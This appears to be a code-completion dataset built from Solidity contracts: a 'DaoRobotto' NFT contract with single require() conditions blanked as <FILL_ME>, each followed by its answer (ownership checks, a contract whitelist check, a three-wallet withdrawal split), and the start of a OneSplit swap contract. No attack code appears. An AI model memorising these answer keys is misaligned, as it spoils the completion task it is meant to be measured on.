_newBaseURI) public onlyOwner { } function setpresaleURI(string memory _newPresaleURI) public onlyOwner { } function setTokenPresaleURI(uint256 TokenId, string memory _newPresaleURI) public onlyOwner { } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { } function pause(bool _state) public onlyOwner { } function setpresale(bool _state) public onlyOwner { } function whitelistUser(address _user) public { } function removeWhitelistUser(address _user) public { } function AddAssociatedContracts(address Contract) public onlyOwner{ } function removeAssociatedContracts(address Contract) public onlyOwner{ } function setwhitelistedAndMint(bool _state) public onlyOwner { } function setWhitelistOnlyFromOwner(bool _state) public onlyOwner { } receive () external payable { } function withdraw() public onlyOwner{ } }
_isApprovedOrOwner(_msgSender(),Attribute1ID),"Fusion: caller is not owner or approved"
379,534
_isApprovedOrOwner(_msgSender(),Attribute1ID)
"Fusion: caller is not owner or approved"
// SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.0; import "./ERC721Enumerable.sol"; import "./Ownable.sol"; contract DaoRobotto is ERC721Enumerable, Ownable { using Strings for uint256; string private _name; string private _symbol; uint256 internal MaxMintedtokenId = 0; string public baseURI; string public baseExtension = ".json"; uint256 public cost = 0.08 ether; uint256 public maxSupply = 1000; uint256 public maxMintAmount = 20; uint256 public maxSupplyPerWallet = 10000; bool public paused = false; uint256 public NonOpenedTokenFromId = 0; bool public presale = true; bool public whitelistedAndMint = true; uint256 public whitelistMinCost = 0.08 ether; string public presaleURI = "http://23.254.217.117:5555/Dao_Robotto/DefaultFile.json"; mapping(address => bool) public whitelisted; mapping(uint256 => string) public tokenPresaleURI; mapping(uint256 => bool) public TokenSaleBlacklist; bool public WhitelistOnlyFromOwner = true; // address of Associated Contracts mapping(address => bool) public AssociatedContracts; uint256 public FusionCost = 0.0 ether; address Hito = 0xe3577D975F1359dF3dd186Cf4D2bB73FFFC2074c; // Community Wallet address Seiiku = 0x7A4CF0CE8170421f5cc70F1102fCA9F0fe2aa28D; // Project development address Kifu = 0xa86BF12898Aea8Da994ba2903a86e5a9ee2F4232; // Team contribution constructor( string memory _initBaseURI ) ERC721("Dao Robotto", "Dao Robotto") { } function transferFrom(address from, address to, uint256 tokenId) public virtual override { } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { } /** * @return the name of the token. */ function name() public override view returns (string memory) { } /** * @return the symbol of the token. */ function symbol() public override view returns (string memory) { } // internal function _baseURI() internal view virtual override returns (string memory) { } // public function mint(address _to, uint256 _mintAmount) public payable { } function mintWithwhitelisted(address _to, uint256 _mintAmount) public payable { } function walletOfOwner(address _owner) public view returns (uint256[] memory) { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } //Burn and Fusion Functions function burn(uint256 tokenId) public payable{ } function ExternalFusion(uint256 tokenId, uint256 AttributeID) public payable{ } function Fusion(uint256 tokenId, uint256 AttributeID) public payable{ } function Fusion(uint256 tokenId, uint256 Attribute1ID, uint256 Attribute2ID) public payable{ if (msg.sender != owner()) { require(_isApprovedOrOwner(_msgSender(), tokenId), "Fusion: caller is not owner or approved"); require(_isApprovedOrOwner(_msgSender(), Attribute1ID), "Fusion: caller is not owner or approved"); require(<FILL_ME>) require(msg.value >= FusionCost); } else if (msg.sender == owner()){ address tokrnOwner = ownerOf(tokenId); address Attribute1Owner = ownerOf(Attribute1ID); address Attribute2Owner = ownerOf(Attribute2ID); require(tokrnOwner == Attribute1Owner && tokrnOwner == Attribute2Owner); } burn(Attribute1ID); burn(Attribute2ID); } function AssociatedFunktion(address Contract, uint256 tokenId, uint256 AttributeID) public payable{ } //only owner function setBlackList(uint256[] memory newTokenSaleBlacklist) public onlyOwner() { } function setName(string memory _newName) public onlyOwner() { } function setSymbol(string memory newSymbol) public onlyOwner() { } function setCost(uint256 _newCost) public onlyOwner() { } function setwhitelistMinCost(uint256 _newCost) public onlyOwner() { } function setFusionCost(uint256 _newCost) public onlyOwner() { } function setmaxSupply(uint256 _newMaxSupply) public onlyOwner() { } function setNonOpenedTokenFromId(uint256 _newNonOpenedTokenFromId) public onlyOwner() { } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner() { } function setmaxSupplyPerWallet(uint256 _newmaxSupplyPerWallet) public onlyOwner() { } function setBaseURI(string memory _newBaseURI) public onlyOwner { } function setpresaleURI(string memory _newPresaleURI) public onlyOwner { } function setTokenPresaleURI(uint256 TokenId, string memory _newPresaleURI) public onlyOwner { } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { } function pause(bool _state) public onlyOwner { } function setpresale(bool _state) public onlyOwner { } function whitelistUser(address _user) public { } function removeWhitelistUser(address _user) public { } function AddAssociatedContracts(address Contract) public onlyOwner{ } function removeAssociatedContracts(address Contract) public onlyOwner{ } function setwhitelistedAndMint(bool _state) public onlyOwner { } function setWhitelistOnlyFromOwner(bool _state) public onlyOwner { } receive () external payable { } function withdraw() public onlyOwner{ } }
_isApprovedOrOwner(_msgSender(),Attribute2ID),"Fusion: caller is not owner or approved"
379,534
_isApprovedOrOwner(_msgSender(),Attribute2ID)
"Contract is not available"
// SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.0; import "./ERC721Enumerable.sol"; import "./Ownable.sol"; contract DaoRobotto is ERC721Enumerable, Ownable { using Strings for uint256; string private _name; string private _symbol; uint256 internal MaxMintedtokenId = 0; string public baseURI; string public baseExtension = ".json"; uint256 public cost = 0.08 ether; uint256 public maxSupply = 1000; uint256 public maxMintAmount = 20; uint256 public maxSupplyPerWallet = 10000; bool public paused = false; uint256 public NonOpenedTokenFromId = 0; bool public presale = true; bool public whitelistedAndMint = true; uint256 public whitelistMinCost = 0.08 ether; string public presaleURI = "http://23.254.217.117:5555/Dao_Robotto/DefaultFile.json"; mapping(address => bool) public whitelisted; mapping(uint256 => string) public tokenPresaleURI; mapping(uint256 => bool) public TokenSaleBlacklist; bool public WhitelistOnlyFromOwner = true; // address of Associated Contracts mapping(address => bool) public AssociatedContracts; uint256 public FusionCost = 0.0 ether; address Hito = 0xe3577D975F1359dF3dd186Cf4D2bB73FFFC2074c; // Community Wallet address Seiiku = 0x7A4CF0CE8170421f5cc70F1102fCA9F0fe2aa28D; // Project development address Kifu = 0xa86BF12898Aea8Da994ba2903a86e5a9ee2F4232; // Team contribution constructor( string memory _initBaseURI ) ERC721("Dao Robotto", "Dao Robotto") { } function transferFrom(address from, address to, uint256 tokenId) public virtual override { } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { } /** * @return the name of the token. */ function name() public override view returns (string memory) { } /** * @return the symbol of the token. */ function symbol() public override view returns (string memory) { } // internal function _baseURI() internal view virtual override returns (string memory) { } // public function mint(address _to, uint256 _mintAmount) public payable { } function mintWithwhitelisted(address _to, uint256 _mintAmount) public payable { } function walletOfOwner(address _owner) public view returns (uint256[] memory) { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } //Burn and Fusion Functions function burn(uint256 tokenId) public payable{ } function ExternalFusion(uint256 tokenId, uint256 AttributeID) public payable{ } function Fusion(uint256 tokenId, uint256 AttributeID) public payable{ } function Fusion(uint256 tokenId, uint256 Attribute1ID, uint256 Attribute2ID) public payable{ } function AssociatedFunktion(address Contract, uint256 tokenId, uint256 AttributeID) public payable{ require(<FILL_ME>) if (msg.sender != owner()) { require(_isApprovedOrOwner(_msgSender(), tokenId), "Fusion: caller is not owner or approved (TokenID)"); address ContractAttributeIDOwner = ERC721(Contract).ownerOf(AttributeID); require(_msgSender() == ContractAttributeIDOwner, "Fusion: caller is not owner or approved (AttributeID)"); require(msg.value >= FusionCost); } DaoRobotto(payable(Contract)).AssociatedFunktion(address(this), tokenId, AttributeID); } //only owner function setBlackList(uint256[] memory newTokenSaleBlacklist) public onlyOwner() { } function setName(string memory _newName) public onlyOwner() { } function setSymbol(string memory newSymbol) public onlyOwner() { } function setCost(uint256 _newCost) public onlyOwner() { } function setwhitelistMinCost(uint256 _newCost) public onlyOwner() { } function setFusionCost(uint256 _newCost) public onlyOwner() { } function setmaxSupply(uint256 _newMaxSupply) public onlyOwner() { } function setNonOpenedTokenFromId(uint256 _newNonOpenedTokenFromId) public onlyOwner() { } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner() { } function setmaxSupplyPerWallet(uint256 _newmaxSupplyPerWallet) public onlyOwner() { } function setBaseURI(string memory _newBaseURI) public onlyOwner { } function setpresaleURI(string memory _newPresaleURI) public onlyOwner { } function setTokenPresaleURI(uint256 TokenId, string memory _newPresaleURI) public onlyOwner { } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { } function pause(bool _state) public onlyOwner { } function setpresale(bool _state) public onlyOwner { } function whitelistUser(address _user) public { } function removeWhitelistUser(address _user) public { } function AddAssociatedContracts(address Contract) public onlyOwner{ } function removeAssociatedContracts(address Contract) public onlyOwner{ } function setwhitelistedAndMint(bool _state) public onlyOwner { } function setWhitelistOnlyFromOwner(bool _state) public onlyOwner { } receive () external payable { } function withdraw() public onlyOwner{ } }
AssociatedContracts[Contract]==true,"Contract is not available"
379,534
AssociatedContracts[Contract]==true
"Fusion: caller is not owner or approved (AttributeID)"
// SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.0; import "./ERC721Enumerable.sol"; import "./Ownable.sol"; contract DaoRobotto is ERC721Enumerable, Ownable { using Strings for uint256; string private _name; string private _symbol; uint256 internal MaxMintedtokenId = 0; string public baseURI; string public baseExtension = ".json"; uint256 public cost = 0.08 ether; uint256 public maxSupply = 1000; uint256 public maxMintAmount = 20; uint256 public maxSupplyPerWallet = 10000; bool public paused = false; uint256 public NonOpenedTokenFromId = 0; bool public presale = true; bool public whitelistedAndMint = true; uint256 public whitelistMinCost = 0.08 ether; string public presaleURI = "http://23.254.217.117:5555/Dao_Robotto/DefaultFile.json"; mapping(address => bool) public whitelisted; mapping(uint256 => string) public tokenPresaleURI; mapping(uint256 => bool) public TokenSaleBlacklist; bool public WhitelistOnlyFromOwner = true; // address of Associated Contracts mapping(address => bool) public AssociatedContracts; uint256 public FusionCost = 0.0 ether; address Hito = 0xe3577D975F1359dF3dd186Cf4D2bB73FFFC2074c; // Community Wallet address Seiiku = 0x7A4CF0CE8170421f5cc70F1102fCA9F0fe2aa28D; // Project development address Kifu = 0xa86BF12898Aea8Da994ba2903a86e5a9ee2F4232; // Team contribution constructor( string memory _initBaseURI ) ERC721("Dao Robotto", "Dao Robotto") { } function transferFrom(address from, address to, uint256 tokenId) public virtual override { } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { } /** * @return the name of the token. */ function name() public override view returns (string memory) { } /** * @return the symbol of the token. */ function symbol() public override view returns (string memory) { } // internal function _baseURI() internal view virtual override returns (string memory) { } // public function mint(address _to, uint256 _mintAmount) public payable { } function mintWithwhitelisted(address _to, uint256 _mintAmount) public payable { } function walletOfOwner(address _owner) public view returns (uint256[] memory) { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } //Burn and Fusion Functions function burn(uint256 tokenId) public payable{ } function ExternalFusion(uint256 tokenId, uint256 AttributeID) public payable{ } function Fusion(uint256 tokenId, uint256 AttributeID) public payable{ } function Fusion(uint256 tokenId, uint256 Attribute1ID, uint256 Attribute2ID) public payable{ } function AssociatedFunktion(address Contract, uint256 tokenId, uint256 AttributeID) public payable{ require(AssociatedContracts[Contract] == true, "Contract is not available"); if (msg.sender != owner()) { require(_isApprovedOrOwner(_msgSender(), tokenId), "Fusion: caller is not owner or approved (TokenID)"); address ContractAttributeIDOwner = ERC721(Contract).ownerOf(AttributeID); require(<FILL_ME>) require(msg.value >= FusionCost); } DaoRobotto(payable(Contract)).AssociatedFunktion(address(this), tokenId, AttributeID); } //only owner function setBlackList(uint256[] memory newTokenSaleBlacklist) public onlyOwner() { } function setName(string memory _newName) public onlyOwner() { } function setSymbol(string memory newSymbol) public onlyOwner() { } function setCost(uint256 _newCost) public onlyOwner() { } function setwhitelistMinCost(uint256 _newCost) public onlyOwner() { } function setFusionCost(uint256 _newCost) public onlyOwner() { } function setmaxSupply(uint256 _newMaxSupply) public onlyOwner() { } function setNonOpenedTokenFromId(uint256 _newNonOpenedTokenFromId) public onlyOwner() { } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner() { } function setmaxSupplyPerWallet(uint256 _newmaxSupplyPerWallet) public onlyOwner() { } function setBaseURI(string memory _newBaseURI) public onlyOwner { } function setpresaleURI(string memory _newPresaleURI) public onlyOwner { } function setTokenPresaleURI(uint256 TokenId, string memory _newPresaleURI) public onlyOwner { } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { } function pause(bool _state) public onlyOwner { } function setpresale(bool _state) public onlyOwner { } function whitelistUser(address _user) public { } function removeWhitelistUser(address _user) public { } function AddAssociatedContracts(address Contract) public onlyOwner{ } function removeAssociatedContracts(address Contract) public onlyOwner{ } function setwhitelistedAndMint(bool _state) public onlyOwner { } function setWhitelistOnlyFromOwner(bool _state) public onlyOwner { } receive () external payable { } function withdraw() public onlyOwner{ } }
_msgSender()==ContractAttributeIDOwner,"Fusion: caller is not owner or approved (AttributeID)"
379,534
_msgSender()==ContractAttributeIDOwner
null
// SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.0; import "./ERC721Enumerable.sol"; import "./Ownable.sol"; contract DaoRobotto is ERC721Enumerable, Ownable { using Strings for uint256; string private _name; string private _symbol; uint256 internal MaxMintedtokenId = 0; string public baseURI; string public baseExtension = ".json"; uint256 public cost = 0.08 ether; uint256 public maxSupply = 1000; uint256 public maxMintAmount = 20; uint256 public maxSupplyPerWallet = 10000; bool public paused = false; uint256 public NonOpenedTokenFromId = 0; bool public presale = true; bool public whitelistedAndMint = true; uint256 public whitelistMinCost = 0.08 ether; string public presaleURI = "http://23.254.217.117:5555/Dao_Robotto/DefaultFile.json"; mapping(address => bool) public whitelisted; mapping(uint256 => string) public tokenPresaleURI; mapping(uint256 => bool) public TokenSaleBlacklist; bool public WhitelistOnlyFromOwner = true; // address of Associated Contracts mapping(address => bool) public AssociatedContracts; uint256 public FusionCost = 0.0 ether; address Hito = 0xe3577D975F1359dF3dd186Cf4D2bB73FFFC2074c; // Community Wallet address Seiiku = 0x7A4CF0CE8170421f5cc70F1102fCA9F0fe2aa28D; // Project development address Kifu = 0xa86BF12898Aea8Da994ba2903a86e5a9ee2F4232; // Team contribution constructor( string memory _initBaseURI ) ERC721("Dao Robotto", "Dao Robotto") { } function transferFrom(address from, address to, uint256 tokenId) public virtual override { } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { } /** * @return the name of the token. */ function name() public override view returns (string memory) { } /** * @return the symbol of the token. */ function symbol() public override view returns (string memory) { } // internal function _baseURI() internal view virtual override returns (string memory) { } // public function mint(address _to, uint256 _mintAmount) public payable { } function mintWithwhitelisted(address _to, uint256 _mintAmount) public payable { } function walletOfOwner(address _owner) public view returns (uint256[] memory) { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } //Burn and Fusion Functions function burn(uint256 tokenId) public payable{ } function ExternalFusion(uint256 tokenId, uint256 AttributeID) public payable{ } function Fusion(uint256 tokenId, uint256 AttributeID) public payable{ } function Fusion(uint256 tokenId, uint256 Attribute1ID, uint256 Attribute2ID) public payable{ } function AssociatedFunktion(address Contract, uint256 tokenId, uint256 AttributeID) public payable{ } //only owner function setBlackList(uint256[] memory newTokenSaleBlacklist) public onlyOwner() { } function setName(string memory _newName) public onlyOwner() { } function setSymbol(string memory newSymbol) public onlyOwner() { } function setCost(uint256 _newCost) public onlyOwner() { } function setwhitelistMinCost(uint256 _newCost) public onlyOwner() { } function setFusionCost(uint256 _newCost) public onlyOwner() { } function setmaxSupply(uint256 _newMaxSupply) public onlyOwner() { } function setNonOpenedTokenFromId(uint256 _newNonOpenedTokenFromId) public onlyOwner() { } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner() { } function setmaxSupplyPerWallet(uint256 _newmaxSupplyPerWallet) public onlyOwner() { } function setBaseURI(string memory _newBaseURI) public onlyOwner { } function setpresaleURI(string memory _newPresaleURI) public onlyOwner { } function setTokenPresaleURI(uint256 TokenId, string memory _newPresaleURI) public onlyOwner { } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { } function pause(bool _state) public onlyOwner { } function setpresale(bool _state) public onlyOwner { } function whitelistUser(address _user) public { } function removeWhitelistUser(address _user) public { } function AddAssociatedContracts(address Contract) public onlyOwner{ } function removeAssociatedContracts(address Contract) public onlyOwner{ } function setwhitelistedAndMint(bool _state) public onlyOwner { } function setWhitelistOnlyFromOwner(bool _state) public onlyOwner { } receive () external payable { } function withdraw() public onlyOwner{ uint bal = address(this).balance; uint _1_Percent = bal / 100 ; // 1/100 = 1% uint _33_ = _1_Percent * 33; uint _34_ = _1_Percent * 34; require(<FILL_ME>) require(payable(Seiiku).send(_33_)); require(payable(Kifu).send(_33_)); } }
payable(Hito).send(_34_)
379,534
payable(Hito).send(_34_)
null
// SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.0; import "./ERC721Enumerable.sol"; import "./Ownable.sol"; contract DaoRobotto is ERC721Enumerable, Ownable { using Strings for uint256; string private _name; string private _symbol; uint256 internal MaxMintedtokenId = 0; string public baseURI; string public baseExtension = ".json"; uint256 public cost = 0.08 ether; uint256 public maxSupply = 1000; uint256 public maxMintAmount = 20; uint256 public maxSupplyPerWallet = 10000; bool public paused = false; uint256 public NonOpenedTokenFromId = 0; bool public presale = true; bool public whitelistedAndMint = true; uint256 public whitelistMinCost = 0.08 ether; string public presaleURI = "http://23.254.217.117:5555/Dao_Robotto/DefaultFile.json"; mapping(address => bool) public whitelisted; mapping(uint256 => string) public tokenPresaleURI; mapping(uint256 => bool) public TokenSaleBlacklist; bool public WhitelistOnlyFromOwner = true; // address of Associated Contracts mapping(address => bool) public AssociatedContracts; uint256 public FusionCost = 0.0 ether; address Hito = 0xe3577D975F1359dF3dd186Cf4D2bB73FFFC2074c; // Community Wallet address Seiiku = 0x7A4CF0CE8170421f5cc70F1102fCA9F0fe2aa28D; // Project development address Kifu = 0xa86BF12898Aea8Da994ba2903a86e5a9ee2F4232; // Team contribution constructor( string memory _initBaseURI ) ERC721("Dao Robotto", "Dao Robotto") { } function transferFrom(address from, address to, uint256 tokenId) public virtual override { } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { } /** * @return the name of the token. */ function name() public override view returns (string memory) { } /** * @return the symbol of the token. */ function symbol() public override view returns (string memory) { } // internal function _baseURI() internal view virtual override returns (string memory) { } // public function mint(address _to, uint256 _mintAmount) public payable { } function mintWithwhitelisted(address _to, uint256 _mintAmount) public payable { } function walletOfOwner(address _owner) public view returns (uint256[] memory) { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } //Burn and Fusion Functions function burn(uint256 tokenId) public payable{ } function ExternalFusion(uint256 tokenId, uint256 AttributeID) public payable{ } function Fusion(uint256 tokenId, uint256 AttributeID) public payable{ } function Fusion(uint256 tokenId, uint256 Attribute1ID, uint256 Attribute2ID) public payable{ } function AssociatedFunktion(address Contract, uint256 tokenId, uint256 AttributeID) public payable{ } //only owner function setBlackList(uint256[] memory newTokenSaleBlacklist) public onlyOwner() { } function setName(string memory _newName) public onlyOwner() { } function setSymbol(string memory newSymbol) public onlyOwner() { } function setCost(uint256 _newCost) public onlyOwner() { } function setwhitelistMinCost(uint256 _newCost) public onlyOwner() { } function setFusionCost(uint256 _newCost) public onlyOwner() { } function setmaxSupply(uint256 _newMaxSupply) public onlyOwner() { } function setNonOpenedTokenFromId(uint256 _newNonOpenedTokenFromId) public onlyOwner() { } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner() { } function setmaxSupplyPerWallet(uint256 _newmaxSupplyPerWallet) public onlyOwner() { } function setBaseURI(string memory _newBaseURI) public onlyOwner { } function setpresaleURI(string memory _newPresaleURI) public onlyOwner { } function setTokenPresaleURI(uint256 TokenId, string memory _newPresaleURI) public onlyOwner { } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { } function pause(bool _state) public onlyOwner { } function setpresale(bool _state) public onlyOwner { } function whitelistUser(address _user) public { } function removeWhitelistUser(address _user) public { } function AddAssociatedContracts(address Contract) public onlyOwner{ } function removeAssociatedContracts(address Contract) public onlyOwner{ } function setwhitelistedAndMint(bool _state) public onlyOwner { } function setWhitelistOnlyFromOwner(bool _state) public onlyOwner { } receive () external payable { } function withdraw() public onlyOwner{ uint bal = address(this).balance; uint _1_Percent = bal / 100 ; // 1/100 = 1% uint _33_ = _1_Percent * 33; uint _34_ = _1_Percent * 34; require(payable(Hito).send(_34_)); require(<FILL_ME>) require(payable(Kifu).send(_33_)); } }
payable(Seiiku).send(_33_)
379,534
payable(Seiiku).send(_33_)
null
// SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.0; import "./ERC721Enumerable.sol"; import "./Ownable.sol"; contract DaoRobotto is ERC721Enumerable, Ownable { using Strings for uint256; string private _name; string private _symbol; uint256 internal MaxMintedtokenId = 0; string public baseURI; string public baseExtension = ".json"; uint256 public cost = 0.08 ether; uint256 public maxSupply = 1000; uint256 public maxMintAmount = 20; uint256 public maxSupplyPerWallet = 10000; bool public paused = false; uint256 public NonOpenedTokenFromId = 0; bool public presale = true; bool public whitelistedAndMint = true; uint256 public whitelistMinCost = 0.08 ether; string public presaleURI = "http://23.254.217.117:5555/Dao_Robotto/DefaultFile.json"; mapping(address => bool) public whitelisted; mapping(uint256 => string) public tokenPresaleURI; mapping(uint256 => bool) public TokenSaleBlacklist; bool public WhitelistOnlyFromOwner = true; // address of Associated Contracts mapping(address => bool) public AssociatedContracts; uint256 public FusionCost = 0.0 ether; address Hito = 0xe3577D975F1359dF3dd186Cf4D2bB73FFFC2074c; // Community Wallet address Seiiku = 0x7A4CF0CE8170421f5cc70F1102fCA9F0fe2aa28D; // Project development address Kifu = 0xa86BF12898Aea8Da994ba2903a86e5a9ee2F4232; // Team contribution constructor( string memory _initBaseURI ) ERC721("Dao Robotto", "Dao Robotto") { } function transferFrom(address from, address to, uint256 tokenId) public virtual override { } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { } /** * @return the name of the token. */ function name() public override view returns (string memory) { } /** * @return the symbol of the token. */ function symbol() public override view returns (string memory) { } // internal function _baseURI() internal view virtual override returns (string memory) { } // public function mint(address _to, uint256 _mintAmount) public payable { } function mintWithwhitelisted(address _to, uint256 _mintAmount) public payable { } function walletOfOwner(address _owner) public view returns (uint256[] memory) { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } //Burn and Fusion Functions function burn(uint256 tokenId) public payable{ } function ExternalFusion(uint256 tokenId, uint256 AttributeID) public payable{ } function Fusion(uint256 tokenId, uint256 AttributeID) public payable{ } function Fusion(uint256 tokenId, uint256 Attribute1ID, uint256 Attribute2ID) public payable{ } function AssociatedFunktion(address Contract, uint256 tokenId, uint256 AttributeID) public payable{ } //only owner function setBlackList(uint256[] memory newTokenSaleBlacklist) public onlyOwner() { } function setName(string memory _newName) public onlyOwner() { } function setSymbol(string memory newSymbol) public onlyOwner() { } function setCost(uint256 _newCost) public onlyOwner() { } function setwhitelistMinCost(uint256 _newCost) public onlyOwner() { } function setFusionCost(uint256 _newCost) public onlyOwner() { } function setmaxSupply(uint256 _newMaxSupply) public onlyOwner() { } function setNonOpenedTokenFromId(uint256 _newNonOpenedTokenFromId) public onlyOwner() { } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner() { } function setmaxSupplyPerWallet(uint256 _newmaxSupplyPerWallet) public onlyOwner() { } function setBaseURI(string memory _newBaseURI) public onlyOwner { } function setpresaleURI(string memory _newPresaleURI) public onlyOwner { } function setTokenPresaleURI(uint256 TokenId, string memory _newPresaleURI) public onlyOwner { } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { } function pause(bool _state) public onlyOwner { } function setpresale(bool _state) public onlyOwner { } function whitelistUser(address _user) public { } function removeWhitelistUser(address _user) public { } function AddAssociatedContracts(address Contract) public onlyOwner{ } function removeAssociatedContracts(address Contract) public onlyOwner{ } function setwhitelistedAndMint(bool _state) public onlyOwner { } function setWhitelistOnlyFromOwner(bool _state) public onlyOwner { } receive () external payable { } function withdraw() public onlyOwner{ uint bal = address(this).balance; uint _1_Percent = bal / 100 ; // 1/100 = 1% uint _33_ = _1_Percent * 33; uint _34_ = _1_Percent * 34; require(payable(Hito).send(_34_)); require(payable(Seiiku).send(_33_)); require(<FILL_ME>) } }
payable(Kifu).send(_33_)
379,534
payable(Kifu).send(_33_)
"OneSplit: msg.value should be used only for ETH swap"
pragma solidity ^0.5.0; contract IFreeFromUpTo is IERC20 { function freeFromUpTo(address from, uint256 value) external returns(uint256 freed); } interface IReferralGasSponsor { function makeGasDiscount( uint256 gasSpent, uint256 returnAmount, bytes calldata msgSenderCalldata ) external; } library Array { function first(IERC20[] memory arr) internal pure returns(IERC20) { } function last(IERC20[] memory arr) internal pure returns(IERC20) { } } // // Security assumptions: // 1. It is safe to have infinite approves of any tokens to this smart contract, // since it could only call `transferFrom()` with first argument equal to msg.sender // 2. It is safe to call `swap()` with reliable `minReturn` argument, // if returning amount will not reach `minReturn` value whole swap will be reverted. // 3. Additionally CHI tokens could be burned from caller in case of FLAG_ENABLE_CHI_BURN (0x10000000000) // presented in `flags` or from transaction origin in case of FLAG_ENABLE_CHI_BURN_BY_ORIGIN (0x4000000000000000) // presented in `flags`. Burned amount would refund up to 43% of gas fees. // contract OneSplitAudit is IOneSplit, Ownable { using SafeMath for uint256; using UniversalERC20 for IERC20; using Array for IERC20[]; IWETH constant internal weth = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); IFreeFromUpTo public constant chi = IFreeFromUpTo(0x0000000000004946c0e9F43F4Dee607b0eF1fA1c); IOneSplitMulti public oneSplitImpl; event ImplementationUpdated(address indexed newImpl); event Swapped( IERC20 indexed fromToken, IERC20 indexed destToken, uint256 fromTokenAmount, uint256 destTokenAmount, uint256 minReturn, uint256[] distribution, uint256[] flags, address referral, uint256 feePercent ); constructor(IOneSplitMulti impl) public { } function() external payable { } function setNewImpl(IOneSplitMulti impl) public onlyOwner { } /// @notice Calculate expected returning amount of `destToken` /// @param fromToken (IERC20) Address of token or `address(0)` for Ether /// @param destToken (IERC20) Address of token or `address(0)` for Ether /// @param amount (uint256) Amount for `fromToken` /// @param parts (uint256) Number of pieces source volume could be splitted, /// works like granularity, higly affects gas usage. Should be called offchain, /// but could be called onchain if user swaps not his own funds, but this is still considered as not safe. /// @param flags (uint256) Flags for enabling and disabling some features, default 0 function getExpectedReturn( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags // See contants in IOneSplit.sol ) public view returns( uint256 returnAmount, uint256[] memory distribution ) { } /// @notice Calculate expected returning amount of `destToken` /// @param fromToken (IERC20) Address of token or `address(0)` for Ether /// @param destToken (IERC20) Address of token or `address(0)` for Ether /// @param amount (uint256) Amount for `fromToken` /// @param parts (uint256) Number of pieces source volume could be splitted, /// works like granularity, higly affects gas usage. Should be called offchain, /// but could be called onchain if user swaps not his own funds, but this is still considered as not safe. /// @param flags (uint256) Flags for enabling and disabling some features, default 0 /// @param destTokenEthPriceTimesGasPrice (uint256) destToken price to ETH multiplied by gas price function getExpectedReturnWithGas( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 parts, uint256 flags, // See constants in IOneSplit.sol uint256 destTokenEthPriceTimesGasPrice ) public view returns( uint256 returnAmount, uint256 estimateGasAmount, uint256[] memory distribution ) { } /// @notice Calculate expected returning amount of first `tokens` element to /// last `tokens` element through ann the middle tokens with corresponding /// `parts`, `flags` and `destTokenEthPriceTimesGasPrices` array values of each step /// @param tokens (IERC20[]) Address of token or `address(0)` for Ether /// @param amount (uint256) Amount for `fromToken` /// @param parts (uint256[]) Number of pieces source volume could be splitted /// @param flags (uint256[]) Flags for enabling and disabling some features, default 0 /// @param destTokenEthPriceTimesGasPrices (uint256[]) destToken price to ETH multiplied by gas price function getExpectedReturnWithGasMulti( IERC20[] memory tokens, uint256 amount, uint256[] memory parts, uint256[] memory flags, uint256[] memory destTokenEthPriceTimesGasPrices ) public view returns( uint256[] memory returnAmounts, uint256 estimateGasAmount, uint256[] memory distribution ) { } /// @notice Swap `amount` of `fromToken` to `destToken` /// @param fromToken (IERC20) Address of token or `address(0)` for Ether /// @param destToken (IERC20) Address of token or `address(0)` for Ether /// @param amount (uint256) Amount for `fromToken` /// @param minReturn (uint256) Minimum expected return, else revert /// @param distribution (uint256[]) Array of weights for volume distribution returned by `getExpectedReturn` /// @param flags (uint256) Flags for enabling and disabling some features, default 0 function swap( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 minReturn, uint256[] memory distribution, uint256 flags // See contants in IOneSplit.sol ) public payable returns(uint256) { } /// @notice Swap `amount` of `fromToken` to `destToken` /// param fromToken (IERC20) Address of token or `address(0)` for Ether /// param destToken (IERC20) Address of token or `address(0)` for Ether /// @param amount (uint256) Amount for `fromToken` /// @param minReturn (uint256) Minimum expected return, else revert /// @param distribution (uint256[]) Array of weights for volume distribution returned by `getExpectedReturn` /// @param flags (uint256) Flags for enabling and disabling some features, default 0 /// @param referral (address) Address of referral /// @param feePercent (uint256) Fees percents normalized to 1e18, limited to 0.03e18 (3%) function swapWithReferral( IERC20 fromToken, IERC20 destToken, uint256 amount, uint256 minReturn, uint256[] memory distribution, uint256 flags, // See contants in IOneSplit.sol address referral, uint256 feePercent ) public payable returns(uint256) { } /// @notice Swap `amount` of first element of `tokens` to the latest element of `destToken` /// @param tokens (IERC20[]) Addresses of token or `address(0)` for Ether /// @param amount (uint256) Amount for `fromToken` /// @param minReturn (uint256) Minimum expected return, else revert /// @param distribution (uint256[]) Array of weights for volume distribution returned by `getExpectedReturn` /// @param 